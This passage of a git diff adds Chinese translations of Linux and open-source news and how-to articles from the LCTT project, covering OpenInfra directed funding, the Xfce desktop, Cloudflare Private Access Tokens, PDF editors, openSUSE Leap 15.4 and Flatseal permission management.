"https://www.opensourceforu.com/2022/06/openinfra-foundation-launches-directed-funding-to-support-open-source-projects/" +[#]: author: "Laveesh Kocher https://www.opensourceforu.com/author/laveesh-kocher/" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14707-1.html" + +OpenInfra 基金会启动“定向资助”以支持开源项目 +====== +![OpenInfra][1] + +OpenInfra 基金会的前身为 OpenStack 基金会,几年前它将范围扩展到其旗舰项目之外,于是改了名字。2022 年 6 月 7 日,它宣布了一种有趣的新方式,让企业资助基金会内的开源项目。一般来说,开源基金会的企业成员通过支付会员费来支持该组织,然后基金会按照他们认为合适的方式分发这些费用。OpenInfra 基金会现在推出了一种新的“定向资助”模式,允许成员将他们的资金直接用于项目。 + +此前,基金会并不允许这样做,因为正如 Bryce 指出的那样,它可能会产生混合激励和付费游戏动态,而该组织一直试图避免这种情况。然而,社区对支持特定项目有很大的兴趣,这是有道理的,因为该基金会现在拥有更多种类的项目,但并不是每个成员都对每个项目进行了大量投入。 + +Bryce 表示,基金会的领导层和董事会,花费了大量时间来考虑,如何使基金会的核心原则与这种新模式相协调。因此,该模型试图将过去十年运行良好的 OpenStack/OpenInfra 技术治理模型的优点,与这些新的财务考虑相结合。 + +在这种“定向资助”模式下,每个新项目都将拥有自己的法人实体来持有项目资金。为确保新项目的合法性,OpenInfra 白金会员(目前为 9 家,包括蚂蚁集团、华为、Meta、微软和红帽)必须担任项目的发起人,之后其他组织才能加入项目基金。如果赞助公司还不是 OpenInfra 成员,则必须成为成员。然后,所有这些资助成员组成一个项目基金管理委员会,决定创建预算的费用。与此同时,OpenInfra 基金会将为这些项目提供社区建设服务。 + +这种新模式暂时只适用于加入基金会的新项目。Bryce 和 Collier 指出,组织可能会在一些现有项目中追溯应用这种新模式,但这个考虑目前不在路线图上。 + +自从将范围扩展到 OpenStack 之外后,OpenInfra 基金会增加了一些新项目,例如用于提高容器安全性的 Kata Containers、用于基础设施生命周期管理的 Airship、Startling X 边缘计算堆栈以及 Zuul CI/CD 平台。 + +“我们从每个成功的项目中学到的最重要的一点是,协作是关键,支持生态系统的范围越广越好,” OpenInfra 基金会总经理 Thierry Carrez 说,“事实上,我们发现最成功的开源项目是由多家公司资助的,因为他们能够整合资源以实现更高的回报率。” + +这种新模式显然是 OpenInfra 基金会引入新项目和新成员的一种方式。正如领导团队欣然承认的那样,其在多方生态系统中管理开源项目的模型 —— 无论是通过新的定向资金还是更传统的方法 —— 可能并不适合每个项目。即使 OpenInfra 基金会只收到一小部分项目,随着对这些复杂云基础设施项目需求的增长,开源项目的数量也在增加,同时它们也变得更加复杂。 + +基金会还宣布了其各个项目的几个里程碑版本的发布,包括 Kata Containers 2.0 版、Zuul 5.0 版和 StarlingX 6.0 。 + +Collier 说:“基金会今年庆祝成立 10 周年,在展望下一个十年的开放基础设施之际,我们正在推动我们的模型如此成功的关键,那就是:将希望合作的公司和个人联合起来,为他们提供一个框架和有效协作的工具,并帮助他们投资资金以最好地帮助他们关心的项目。” + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/06/openinfra-foundation-launches-directed-funding-to-support-open-source-projects/ + +作者:[Laveesh Kocher][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/laveesh-kocher/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/06/open-infra-berlin-event.png diff --git a/published/202206/20220608 How I gave my old laptop new life with the Linux Xfce desktop.md b/published/202206/20220608 How I gave my old laptop new life with the Linux Xfce desktop.md new file mode 100644 index 0000000000..428b8d4814 --- /dev/null +++ b/published/202206/20220608 How I gave my old laptop new life with the Linux Xfce desktop.md @@ -0,0 +1,93 @@ +[#]: subject: "How I gave my old laptop new life with the Linux Xfce desktop" +[#]: via: "https://opensource.com/article/22/6/linux-xfce-old-laptop" +[#]: author: "Jim Hall https://opensource.com/users/jim-hall" +[#]: collector: "lkxed" +[#]: translator: "lightchaserhy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14735-1.html" + +我如何利用 Xfce 桌面为旧电脑赋予新生 +====== + +![](https://img.linux.net.cn/data/attachment/album/202206/20/143325vfdibhvv22qvddiv.jpg) + +> 当我为了在一场会议上做演示,用笔记本电脑安装 Linux 系统后,发现 Linux 和 Xfce 桌面让我的这台旧电脑健步如飞。 + +几周前,我要在一个会议上简要演示自己在 Linux 下编写的一款小软件。我需要带一台 Linux 笔记本电脑参会,因此我翻出一台旧笔记本电脑,并且安装上 Linux 系统。我使用的是 Fedora 36 Xfce 版,使用还不错。 + +这台我用的笔记本是在 2012 年购买的。1.70 GHZ 的 CPU、4 GB 的 内存、128 GB 的硬盘,也许和我现在的桌面电脑比性能很弱,但是 Linux 和 Xfce 桌面赋予了这台旧电脑新的生命。 + +### Linux 的 Xfce 桌面 + +Xfce 桌面是一个轻量级桌面,它提供一个精美、现代的外观。熟悉的界面,有任务栏或者顶部“面板”可以启动应用程序,在系统托盘可以改变虚拟桌面,或者查看通知信息。屏幕底部的快速访问停靠区让你可以启动经常使用的应用程序,如终端、文件管理器和网络浏览器。 + +![Image of Xfce desktop][6] + +要开始一个新应用程序,点击左上角的应用程序按钮。这将打开一个应用程序启动菜单,顶部有常用的应用程序,比如终端和文件管理。其它的应用程序会分组排列,这样你可以找到所需要的应用。 + +![Image of desktop applications][7] + +### 管理文件 + +Xfce 的文件管理器时叫 Thunar,它能很好地管理我的文件。我喜欢 Thunar 可以连接远程系统,在家里,我用一个开启 SSH 的树莓派作为个人文件服务器。Thunar 可以打开一个 SSH 文件传输窗口,这样我可以在笔记本电脑和树莓派之间拷贝文件。 + +![Image of Thunar remote][9] + +另一个访问文件和文件夹的方式是通过屏幕底部的快速访问停靠区。点击文件夹图标可以打开一个常用操作的菜单,如在终端窗口打开一个文件夹、新建一个文件夹或进入指定文件夹等。 + +![Image of desktop with open folders][10] + +### 其它应用程序 + +我喜欢探索 Xfce 提供的其他应用程序。Mousepad 看起来像一个简单的文本编辑器,但是比起纯文本编辑,它包含更多有用的功能。Mousepad 支持许多文件类型,程序员和其他高级用户也许会非常喜欢。可以在文档菜单中查看一下部分编程语言的列表。 + +![Image of Mousepad file types][11] + +如果你更喜欢一个不同的外观和感觉,可以用视图菜单调整界面选项,如字体、配色方案以及行号。 + +![Image of Mousepad in color scheme solarized][12] + +磁盘工具可以让你管理储存设备。虽然我不需要修改我的系统磁盘,磁盘工具是一个初始化或重新格式化 USB 闪存设备的好方式。我认为这个界面非常简单好用。 + +![Image of disk utility][13] + +Geany 集成开发环境也给我留下了深刻印象,我有点惊讶于一个完整的集成开发软件(IDE)可以在一个旧系统可以如此流畅地运行。Geany 宣称自己是一个“强大、稳定和轻量级的程序员文本编辑器,提供大量有用的功能,而不会拖累你的工作流程”。而这正是 Geany 所提供的。 + +我用一个简单的 “hello world” 程序测试 Geany,当我输入每一个函数名称时,很高兴地看到 IDE 弹出语法帮助,弹出的信息并不特别显眼,且刚好提供了我需要的信息。虽然我能很容易记住 `printf` 函数,但总是忘记诸如 `fputs` 和 `realloc` 之类的函数的选项顺序,这就是我需要弹出语法帮助的地方。 + +![Image of Geany workspace][14] + +深入了解 Xfce 的菜单,寻找其它应用程序,让你的工作更简单,你将找到可以播放音乐、访问终端或浏览网页的应用程序。 + +当我在笔记本电脑上安装了 Linux,在会议上做了一些演示后,我发现 Linux 和 Xfce 桌面让这台旧电脑变得相当敏捷。这个系统运行得如此流畅,以至于当会议结束后,我决定把这台笔记本电脑作为备用机。 + +我确实喜欢在 Xfce 中工作和使用这些应用程序,尽管系统开销不大,使用也很简单,但我并没有感觉到不够用,我可以用 Xfce 和上面的应用程序做任何事情。如果你有一台需要翻新的旧电脑,试试安装 Linux,给旧硬件带来新的生命。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/6/linux-xfce-old-laptop + +作者:[Jim Hall][a] +选题:[lkxed][b] +译者:[lightchaserhy](https://github.com/lightchaserhy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jim-hall +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/coffee_tea_laptop_computer_work_desk.png +[2]: https://unsplash.com/@jonasleupe?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText +[3]: https://unsplash.com/s/photos/tea-cup-computer?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText +[4]: https://spins.fedoraproject.org/xfce/download/index.html +[5]: https://opensource.com/article/19/12/xfce-linux-desktop +[6]: https://opensource.com/sites/default/files/2022-06/Linuxlaptop1.png +[7]: https://opensource.com/sites/default/files/2022-06/linuxlaptopDesktopApps.png +[8]: https://opensource.com/article/20/3/personal-file-server-ssh +[9]: https://opensource.com/sites/default/files/2022-06/LinuxlaptopThunarremote.png +[10]: https://opensource.com/sites/default/files/2022-06/LinuxlaptopDesk.png +[11]: https://opensource.com/sites/default/files/2022-06/LinuxlaptopMousepadfiletype.png +[12]: https://opensource.com/sites/default/files/2022-06/Linuxlaptopmousepadsolarized.png +[13]: https://opensource.com/sites/default/files/2022-06/linuxlaptopdisks.png +[14]: https://opensource.com/sites/default/files/2022-06/Linuxlaptopgeany.png diff --git a/published/202206/20220609 Cloudflare Has Something New to Replace Annoying CAPTCHAs on the Internet.md b/published/202206/20220609 Cloudflare Has Something New to Replace Annoying CAPTCHAs on the Internet.md new file mode 100644 index 0000000000..2fd9490dd6 --- /dev/null +++ b/published/202206/20220609 Cloudflare Has Something New to Replace Annoying CAPTCHAs on the Internet.md @@ -0,0 +1,87 @@ +[#]: subject: "Cloudflare Has Something New to Replace Annoying CAPTCHAs on the Internet" +[#]: via: "https://news.itsfoss.com/cloudflare-pat/" +[#]: author: "Jacob Crume https://news.itsfoss.com/author/jacob/" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14711-1.html" + +Cloudflare 有了一个新东西,它可以替代互联网上烦人的验证码 +====== + +不想通过正确输入 验证码CAPTCHA 来证明自己是个人类吗?Cloudflare 可能有了一个解决方案。 + +![Cloudflare][1] + +互联网服务巨头 Cloudflare 前两天 [宣布了][2] 私有访问令牌Private Access Tokens 功能。这项功能旨在减少你在网络上看到的验证码数量,同时改善你的隐私。 + +你可能已经发现,验证码在移动设备上是一种可怕的体验。通常,它们会最终会占据整个屏幕,有时甚至无法完成。 + +作为替代方案,网站可以选择收集唯一识别数据,以证明你是人类。当然,从隐私的角度来看,这种做法是很糟糕的。如果这么做,许多重视隐私的公司都几乎无法避免他们受到 僵尸攻击bot attacks。 + +幸运的是,私有访问令牌(PAT)的发布将改变这一点。 + +### 私有访问令牌会产生什么影响? + +简而言之,私有访问令牌能够做到下面这些事: + +* 在支持的设备上减少验证码数量 +* 增强用户隐私 +* 允许网站所有者确保访问者来自真实设备 + +然而,深入观察,我们可以看到私有访问令牌的影响力远不止于此。若使用传统的验证码,就有多个实体可以访问你的数据。 + +首先,你正在访问的网站知道你的 IP 地址和你正在访问的 URL。当然,这些数据是建立连接所需的最低要求。此外,对于更高级的功能,网站还会发送一些用户代理(UA)数据,还好这些数据并不是唯一可识别的。 + +然而,另一方,也就是验证码提供者,却可以收集更多的数据。与你要访问的网站一样,它也知道你的 IP 地址、用户代理数据和你访问的 URL。不幸的是,除此之外,他们还会收集其他数据,例如你的设备信息和交互数据。如果把这些信息,与你之前完成验证码的时间联系起来,你就会惊讶的发现,他们可以建立一个非常详细的属于你的个人资料。 + +幸运的是,有了 Cloudflare 的私有访问令牌,你就可以完全绕过验证码,从而阻止验证码提供者收集此类数据。 + +### 私有访问令牌是如何工作的? + +![][3] + +验证码的理念是集中尽可能多的数据,私人访问令牌则恰恰相反,它将数据去中心化,因此任何一方都无法唯一识别你。在你提到数据共享之前,Cloudflare 就已经特别指出了,数据不会在各方之间共享。 + +当你访问使用 Cloudflare 和私人访问令牌的网站的时候,共有三方将处理你的数据的不同部分。 + +1. 网站。它只会知道你的 IP、URL 和用户代理,这也是建立连接所必需的。 +2. 你的设备制造商。他们只会知道那些用于验证设备是否真实所需的设备数据,而不会知道你正在访问哪个网站,或你的 IP 地址是什么。验证了你的设备后,他们将生成一个令牌,该令牌将发送到 Cloudflare。 +3. Cloudflare。他们将收到这个令牌,令牌中不包含你的任何设备数据,只有制造商对它是正品的“保证”。他们知道的唯一其他数据,就是你正在访问的网站,同样,这是为你提供内容所必需的。 + +通过这种方式,Cloudflare 无需接触你的数据,就可以对“你是一个人”充满信心。 + +### 支持的操作系统:没有 Linux? + +你可能已经意识到,私人访问令牌需要特定的操作系统功能才能工作。目前,它们仅存在于苹果最新的操作系统上,即 iOS 和 iPadOS 16,以及 macOS Ventura。这是因为苹果的操作系统只在有限的硬件上运行,设备验证会更加容易。 + +另一方面,Linux 是一种通用操作系统,旨在在各种硬件上运行。因此,我认为,在可预见的未来,它都不会支持私人访问令牌。 + +回到苹果,我想到私人访问令牌也可能导致消费者维修设备的权利出现一些问题。例如,如果我用第三方的非正品电池更换了老旧的 iPhone 原装电池,私人访问令牌系统会特殊对待这种情况吗? + +如果是 Linux 手机呢?这些制造商,如 Pine64 和 Purism,可能没有支持这样一个系统的基础设施。是否可以在这些上使用私人访问令牌呢? + +Cloudflare 在 [公告][4] 中提到: + +> 我们正在积极努力让其他客户和设备制造商也使用私人访问令牌框架。每当新客户开始使用它时,从该客户进入你网站的流量将自动开始要求令牌,你的访问者将自动看到更少的验证码。 + +因此,我们希望看到它被更多的设备和操作系统采用。你如何看待 Cloudflare 的私人访问令牌呢?在下面的评论中发表你的看法吧! + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/cloudflare-pat/ + +作者:[Jacob Crume][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/jacob/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/06/cloudflare-private-access-tokens.jpg +[2]: https://blog.cloudflare.com/eliminating-captchas-on-iphones-and-macs-using-new-standard/ +[3]: https://news.itsfoss.com/wp-content/uploads/2022/06/PAT-Data-transfer-chart-1024x650.png +[4]: https://blog.cloudflare.com/eliminating-captchas-on-iphones-and-macs-using-new-standard/ diff --git a/published/202206/20220609 Edit PDFs on Linux with these open source tools.md b/published/202206/20220609 Edit PDFs on Linux with these open source tools.md new file mode 100644 index 0000000000..50d82225cc --- /dev/null +++ b/published/202206/20220609 Edit PDFs on Linux with these open source tools.md @@ -0,0 +1,89 @@ + [#]: subject: "Edit PDFs on Linux with these open source tools" +[#]: via: "https://opensource.com/article/22/6/open-source-pdf-editors-linux" +[#]: author: "Michael Korotaev https://opensource.com/users/michaelk" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14761-1.html" + +用这些开源工具在 Linux 上编辑 PDF 文件 +====== + +![](https://img.linux.net.cn/data/attachment/album/202206/26/152728d3kajokj34t3agwm.jpg) + +> Adobe Acrobat 的开源替代品具有创建、编辑和注释 PDF 的所有必要功能。 + +开源的 PDF 阅读和编辑工具通常比 “PDF 编辑器” 搜索结果第一页中的应用更安全和可靠。在那里,你很可能看到带有隐藏的限制和关税的专有应用,缺乏关于数据保护政策和托管的足够信息。你可以有更好的。 + +这里有五个应用,可以安装在你的 Linux 系统上(和其他系统)或托管在服务器上。每一个都是自由而开源的,具有创建、编辑和注释 PDF 文件的所有必要功能。 + +### LibreOffice + +使用 [LibreOffice][2] 套件,你对应用的选择取决于最初的任务。虽然文字处理器 LibreOffice Writer,可以让你创建 PDF 文件,并从 ODF 和其他文本格式导出,但 Draw 更适合于处理现有的 PDF 文件。 + +Draw 是用来创建和编辑图形文件的,如小册子、杂志和海报。因此,其工具集主要用于视觉对象和布局上。然而,对于 PDF 编辑,当文件具有可编辑属性时,LibreOffice Draw 提供了用于修改和添加 PDF 内容的工具。如果没有的话,你仍然可以在现有的内容层上添加新的文本字段,并对文件进行注释或完成。 + +Draw 和 Writer 都被捆绑在 LibreOffice 桌面套件中,可在 Linux 系统、macOS 和 Windows 上安装。 + +### ONLYOFFICE Docs + +ONLYOFFICE 一直在改进 PDF 的处理,并在 [ONLYOFFICE Docs][3] 的 7.1 版本中引入了一个全新的 PDF 和电子书的阅读器。 + +该文档编辑器允许从头开始创建 PDF 文件,使用 DOCX 作为文件的基础,然后可以转换为 PDF 或 PDF/A。通过内置的表单创建功能,ONLYOFFICE Docs 还可以建立可填充的文档模板,并将其导出为可编辑的 PDF,并为不同类型的内容设置可填充的字段:文本、图像、日期等。 + +除了可以识别 PDF 内的文本进行复制和提取外,ONLYOFFICE Docs 还可以将 PDF 转换为 DOCX,这样你就可以继续使用完全可编辑的文本格式的文件。ONLYOFFICE 还可以让你用密码保护文件,添加水印,并使用桌面版中的数字签名。 + +ONLYOFFICE Docs 可以作为一个网络套件(内部或云端)集成到文档管理系统(DMS)或作为一个独立的桌面应用程序使用。你可以将后者作为 DEB 或 RPM 文件、AppImage、Flatpack 和其他几种格式在 Linux 中安装。 + +### PDF Arranger + +[PDF Arranger][4] 是 PikePDF 库的一个前端应用。它不像 LibreOffice 和 ONLYOFFICE 那样用于对 PDF 的内容进行编辑,但它对于重新排序页面、将 PDF 分割成更小的文件、将几个 PDF 合并成一个、旋转或裁剪页面等都很好。它的界面是直观的,易于使用。 + +PDF Arranger 可用于 Linux 和 Windows。 + +### Okular + +[Okular][5] 是一个由 KDE 社区开发的免费开源文档查看器。该应用的功能非常成熟,可以查看 PDF、电子书、图片和漫画。 + +Okular 完全或部分支持大多数流行的 PDF 功能和使用场景,如添加注释和内联笔记或插入文本框、形状和印章。你还可以为文档添加数字加密签名,这样你的读者就可以确定文档的来源。 + +除了在 PDF 中添加文本和图像外,还可以从文档中检索到它们,以复制和粘贴到其他地方。Okular 中的区域选择工具可以识别所选区域内的组件,所以你可以从 PDF 中独立提取它们。 + +你可以使用你的发行版包管理器或以 Flatpak 的形式安装 Okular。 + +### Xournal++ + +[Xournal++][6] 是一款带有 PDF 文件注释工具的手写日记软件。 + +它是一款具有强化手写功能的记事软件,对于处理基于文本的内容和专业布局来说,它可能不是最佳选择。然而,它渲染图形的能力以及对书写和绘图的手写笔输入的支持使它作为一个小众生产力工具脱颖而出。 + +图层管理工具、可定制的笔尖设置以及对手写笔映射的支持,使 PDF 注释和草图绘制变得更加舒适。Xournal++ 还有一个文本工具,用于添加文本框,并能插入图像。 + +Xournal++ 可在 Linux 系统(Ubuntu、Debian、Arch、SUSE)、MacOS 和 Windows(10及以上)中安装。 + +### 总结 + +如果你正在寻找一个免费和安全的专有 PDF 浏览和编辑软件的替代品,不难找到一个开源的选择,无论是桌面还是在线使用。只要记住,目前可用的解决方案在不同的使用情况下有各自的优势,没有一个工具在所有可能的任务中都同样出色。 + +这五个方案因其功能或对小众 PDF 任务的有用性而脱颖而出。对于企业使用和协作,我建议使用 ONLYOFFICE 或 LibreOffice Draw。PDF Arranger 是一个简单的、轻量级的工具,当你不需要改变文本时,可以用它来处理页面。Okular 为多种文件类型提供了很好的查看功能,如果你想在 PDF 中画草图和做笔记,Xournal++ 是最佳选择。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/6/open-source-pdf-editors-linux + +作者:[Michael Korotaev][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/michaelk +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/checklist_hands_team_collaboration.png +[2]: https://opensource.com/article/21/9/libreoffice-tips +[3]: https://opensource.com/article/20/12/onlyoffice-docs +[4]: https://flathub.org/apps/details/com.github.jeromerobert.pdfarranger +[5]: https://opensource.com/article/22/4/linux-kde-eco-certification-okular +[6]: http://xournal.sourceforge.net/ diff --git a/published/202206/20220609 openSUSE Leap 15.4 Release Adds Leap Micro 5.2, Updated Desktop Environments, and More.md b/published/202206/20220609 openSUSE Leap 15.4 Release Adds Leap Micro 5.2, Updated Desktop Environments, and More.md new file mode 100644 index 0000000000..740bfc4082 --- /dev/null +++ b/published/202206/20220609 openSUSE Leap 15.4 Release Adds Leap Micro 5.2, Updated Desktop Environments, and More.md @@ -0,0 +1,100 @@ +[#]: subject: "openSUSE Leap 15.4 Release Adds Leap Micro 5.2, Updated Desktop Environments, and More" +[#]: via: "https://news.itsfoss.com/opensuse-leap-15-4-release/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "robsean" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14695-1.html" + +openSUSE Leap 15.4 发布版本添加了 Leap Micro 5.2、更新桌面环境等等 +====== + +> 为奋起直追 SUSE Linux Enterprise 的 SP 4 ,openSUSE Leap 15.4 到来了,带来了新的升级和极其重要的改善。 + +![opensuse 15.4][1] + +即将到来的 openSUSE 小发布版本终于来了。如果你使用 openSUSE 作为你日常使用的桌面或服务器版本,你现在可能已经测试候选版本好几周了。 + +openSUSE Leap 15.4 的重点是软件包的更新,用以奋起直追 SUSE Linux Enterprise 的 SP 4 。因此,你将注意到一些弃用的软件包,以及可用于替换它们的新的升级。 + +当然,你应该有一些可用的软件包来确保兼容性。但是,大多数较旧的版本已经被移除。 + +### openSUSE Leap 15.4: 有什么新的变化? + +为与最新的 SUSE Linux Enterprise(SLE)相适应,像 Python 2 和 KDE 4 一样的软件包已经被移除。你可以在这次的发布版本中找到较新的桌面环境。 + +此外,在容器和 AI/ML 用例方面,更新了 Podman、Containerd、Tensorflow 和 Grafana。 + +#### Leap Micro 5.2 + +Leap Micro 是针对容器和虚拟化工作负载定制的轻量级操作系统的最新版本。它也是 Leap 版的 [MicroOS][2],是 Tumbleweed 的一种变体,提供了自动管理和修补。 + +#### 桌面环境 + +Xfce 4.16 继续保留,但你可以找到主要功能的一些新补充,包括新图标和调色板。 + +Xfce 4.16 中的设置管理器也获得了视觉上的刷新。类似地,文件管理器(Thunar)也有一些改善,新的状态托盘插件的深色模式支持等等。 + +KDE 4 软件包已经被弃用,Plasma 5.24 LTS 已经作为长期支持版本中包含于其中。 + +要深入了解这些变化,你可以查看我们之前针对 [KDE Plasma 5.24 LTS][3] 的报道。总体来说,新的 KDE Plasma 体验应该会令桌面用户赞叹。 + +说到 GNOME,你可以发现包含在 openSUSE Leap 15.4 中的 GNOME 41 带来了一系列的改善和新的特色功能。了解更多关于 [GNOME 41][4] 的信息,你可以期待它的一些新的特色功能。 + +对于其它的可用的桌面环境来说,Leap 15.4 包括: + +* MATE 桌面环境 1.26 +* Enlightenment 桌面环境0.25.3 +* 深度桌面环境 20.3 + +#### 弃用的软件包 + +移除了一些基础的软件包,包括 Python 2(生命终结)、Digikam、TensorFlow 1.x 和 Qt 4 等软件包。 + +在更新系统后,你可以使用 Qt 5 和 Plasma 5 。 + +#### 更新的软件包 + +很多重要的软件包在 Leap 15.4 中得到了更新,包含一些流行的软件包: + +* TensorFlow 2.6.2 +* Podman 3.4.4 +* GNU Health 4.0 +* sudo 1.9.9 +* systemd 249.10 +* AppArmor 3.04 +* DNF 4.10.0 +* LibreOffice 7.2.5 + +因此,你应该会注意到一些针对服务器用户和桌面用户的各种应用程序的有用更新。很多多媒体应用程序,像 VLC、GNOME MPV 等,都得到了升级。 + +#### 其它改善 + +随着基本软件的更新和清理,你也可以找到一个由 SUSE 维护的较新的 Linux 内核 5.14.21。 + +更新后的内核对硬件的支持应该会有改善。 + +更多信息,你可以参考针对 [openSUSE Leap 15.4][5] 的发布版本说明。 + +> **[下载 openSUSE Leap 15.4][6]** + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/opensuse-leap-15-4-release/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[robsean](https://github.com/robsean) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/06/opensuse-leap-15-4.jpg +[2]: https://microos.opensuse.org/ +[3]: https://news.itsfoss.com/kde-plasma-5-24-lts-release/ +[4]: https://news.itsfoss.com/gnome-41-release/ +[5]: https://doc.opensuse.org/release-notes/x86_64/openSUSE/Leap/15.4/#rnotes +[6]: https://get.opensuse.org/leap/15.4/ diff --git a/published/202206/20220610 Manage Flatpak Permission Using Flatseal.md b/published/202206/20220610 Manage Flatpak Permission Using Flatseal.md new file mode 100644 index 0000000000..28207dbe14 --- /dev/null +++ b/published/202206/20220610 Manage Flatpak Permission Using Flatseal.md @@ -0,0 +1,116 @@ +[#]: subject: "Manage Flatpak Permission Using Flatseal" +[#]: via: "https://www.debugpoint.com/2022/06/manage-flatpak-permission-flatseal/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14736-1.html" + +使用 Flatseal 管理 Flatpak 的权限 +====== + +![](https://img.linux.net.cn/data/attachment/album/202206/20/151550qkrkpjw4f9dpjo50.jpg) + +> 了解如何使用 Flatseal 应用管理 Flatpak 权限,它为你提供了一个友好的 GUI 和额外的功能。 + +从新用户的角度来看,在 Linux 中安装应用可能是一个挑战。主要原因是有这么多的 [Linux 发行版][1]。而你需要为各种 Linux 发行版提供不同的安装方法或说明。对于一些用户来说,这可能会让他们不知所措。此外,对于开发者来说,为不同的发行版创建独立的软件包和构建也很困难。 + +### Flatpak 解决了这个问题。如何解决? + +它使用了容器技术,使同一个应用的可执行文件在所有的 Linux 平台上都能类似地运行。例如,一个单一的可执行文件可以在 Ubuntu、Fedora、OpenSUSE、Arch Linux 和许多其他平台上运行。 + +此外,开发人员还可以减少为不同平台打包同一应用的努力。他们可以专注于应用的功能,而不是发行或部署。 + +此外,Flatpak 应用还能即时更新,当有了最新版本,你就能得到它。 + +所有这些好处也开启了一个重要的问题。Flatpak 应用需要的权限是什么?你如何轻松地管理它们?例如,一个应用可能只需要网络访问,而不需要磁盘空间。或者另一个可能有截图的权限,但可能根本就不需要。 + +所以,审查一个 Flatpak 应用的权限是非常必要的。这与你的安卓或 iOS 应用的权限类似。 + +最后,即使你是一个新用户,管理和审查权限也不是那么困难,这要感谢图形化的应用 - Flatseal。 + +### 什么是 Flatseal? + +Flatseal 是一个 Flatpak 应用,它为你提供了一个友好的用户界面来查看和改变你系统中所有 Flatpak 应用的权限。 + +它是一个优秀的小程序,每个应用的每个权限部分都有一个易于使用的切换按钮。下面是它的外观(图 1)。 + +![Figure 1 – Flatseal App][2] + +### 你如何使用 Flatseal 来管理 Flatpak 的权限? + +当打开 Flatseal 应用时,它应该在左边的导航栏列出所有的 Flatpak 应用。而当你选择了一个应用,它就会在右边的主窗口中显示可用的权限设置。 + +现在,对于每个 Flatpak 权限控制,当前值显示在切换开关中。如果该权限正在使用中,它应该被启用。否则,它应该是灰色的。 + +首先,要设置权限,你必须进入你的系统的应用。然后,你可以从权限列表中启用或禁用任何各自的控制。 + +其次,如果你想设置一个适用于你系统中所有 Flatpak 的全局控制,你可以在左上方选择“所有应用”并应用全局设置(图 2)。 + +![Figure 2: Manage Flatpak Permission using Flatseal][3] + +这真是超级简单。不是吗? + +### 使用 Flatseal 管理 Flatpak 权限的例子 + +让我们举个例子。 + +在我的系统中,我安装了上述 Flatpak(图 2)。让我们挑选 Telegram 桌面应用。目前,Telegram 桌面没有访问任何主目录或用户文件的权限(图 3)。 + +![Figure 3: Telegram Desktop Flatpak App does not have permission to the home folders][4] + +现在,如果我想允许所有的用户文件和某个特定的文件夹(例如:`/home/Downloads`),你可以通过打开启用开关来给予它。请看下面的图 4。 + +![Figure 4: Permission changed of Telegram Desktop to give access to folders][5] + +同样地,你可以启用或禁用你想要的权限。在内部,Flatseal 执行内部的 Flatpak 命令来实现这一点。 + +例如,上述情况可能转化为以下命令。 + +``` +flatpak override org.telegram.desktop --filesystem=/home/Downloads +``` + +而要删除权限: + +``` +flatpak override org.telegram.desktop --nofilesystem=/home/Downloads +``` + +Flatseal 还有一个很酷的功能,它在用户特定的权限变化旁边显示一个小的警报图标(见图 4)。 + +### 我可以在所有的 Linux 发行版中安装 Flatseal 吗? + +是的,你可以把 [Flatseal][6] 作为 Flatpak 安装在所有 Linux 发行版中。你可以使用 [本指南][7] 设置你的系统,并运行以下命令进行安装。或者,[点击这里][8] 直接启动特定系统的安装程序。 + +``` +flatpak install flathub com.github.tchx84.Flatseal +``` + +### 结束语 + +我希望上面的 Flatpak 权限管理指南足够简单,让你了解并开始使用 Flatpak。它超级容易控制,使用起来也容易得多。另外,你可能想访问我们更多的 [Flatpak 指南][9]。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/2022/06/manage-flatpak-permission-flatseal/ + +作者:[Arindam][a] +选题:[lkxed][b] 